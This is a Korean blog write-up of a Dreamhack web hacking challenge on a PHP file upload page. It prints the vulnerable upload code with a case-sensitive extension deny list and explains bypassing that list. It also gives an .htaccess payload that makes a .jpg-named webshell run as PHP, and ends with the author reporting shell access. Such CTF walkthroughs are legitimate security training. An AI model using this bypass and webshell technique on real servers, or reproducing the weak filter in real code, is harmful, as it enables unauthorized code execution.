위는 바로 문제 서버 접속 화면이다.
서버 분석
Choose a file을 누르면 파일을 선택할 수 있고 위와같이 파일이 올라간다. submit을 누르면,
에러를 반환한다. 아마도 php파일이라서 그런거 같다. 이걸 우회하는게 문제인듯. 다른 파일을 올려보자.
파이썬 파일을 올리니 제대로 올라간걸 볼 수 있다. 이제 코드를 분석해보자..
index.php
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online File Box</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="field">
<div id="file-js" class="file has-name">
<label class="file-label">
<input class="file-input" type="file" name="file">
<span class="file-cta">
<span class="file-label">Choose a file...</span>
</span>
<span class="file-name">No file uploaded</span>
</label>
</div>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
</div>
</div>
<script>
const fileInput = document.querySelector('#file-js input[type=file]');
fileInput.onchange = () => {
if (fileInput.files.length > 0) {
const fileName = document.querySelector('#file-js .file-name');
fileName.textContent = fileInput.files[0].name;
}
}
</script>
</body>
</html>
index.php파일이다. 별다른 코드는 없고 자바스크립트 쪽을 보면 파일이 선택 되었을 때,
표시된 부분을 바꾸는 것 같으므로 넘어간다.
upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
upload.php는 submit이 눌렸을 때 처리되는 코드이다. 파일이 업로드 되는 부분을 살펴보자.
우선 요청이들어온 파일명을 explode함수를 통해 .을 기준으로 나누어 temp에 저장한다. 그중 end()를 통해 마지막 값을 반환한다. -> 이는 확장자가 될 것 같다. 그 후 미리 정의해 둔 키워드들이 있는지 확장자를 검사한다. 있을 경우 die시키며
없을 경우 파일이 없로드 된다.
확장자 우회
필터링 부분을 보면 대소문자를 구별하고 있기 때문에 대문자로 확장자를 변경하니 제대로 올라간 걸 볼 수 있다. 우회된 듯 싶어서 파일에 접근하니
글자가 깨지고 php가 해석이 안 된걸 볼 수 있다. 아마 아파치 설정파일에 php파일을 허용이 안 된 것 같다. 문제의도대로 apache 설정파일을 건드려보자..
000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/>
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
위 파일은 문제에서 주어지는 apache 설정파일에 일부로 보인다. 파일을 보면 AllowOverride를 All로 해두었다. 따라서 디렉토리마다 .htaccess를 사용할 수 있어보인다. upload 경로에 php파일을 해석하도록 하는 .htaccess 파일을 업로드하고 웹쉘을 업로드하여 접근하자.
exploit
<Files "webshell-dreamhack.jpg">
# php-fpm (PHP FastCGI Process Manager)을 사용하는 경우
SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost"
# Apache2 자체 mod_php를 사용하는 경우
SetHandler application/x-httpd-php
</Files>
.htaccess의 이름으로 파일을 저장해 위 정보를 업로드한다.
파일의 내용은 다음과 같다. "webshell-dreamhack.jpg" 라는 파일이 upload 디렉토리 경로에 오게 되면 SetHendler에 적힌 내용으로 해석하게 된다. 즉 php파일로 해석해 실행하게 된다.
이제 "webshell-dreamhack.jpg"파일을 올려보자.
접근 ㄱㄱ
쉘이 따였다. ㅎㅎ
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] BypassIF write up (0) | 2024.03.30 |
---|---|
[Dreamhack] File Vulnerability Advanced for linux write up (0) | 2024.03.24 |
[Dreamhack] Command Injection Advanced write up (0) | 2024.03.18 |
[Dreamhack] sql injection bypass WAF Advanced write up (0) | 2024.03.17 |
[Dreamhack] sql injection bypass WAF write up (0) | 2024.03.16 |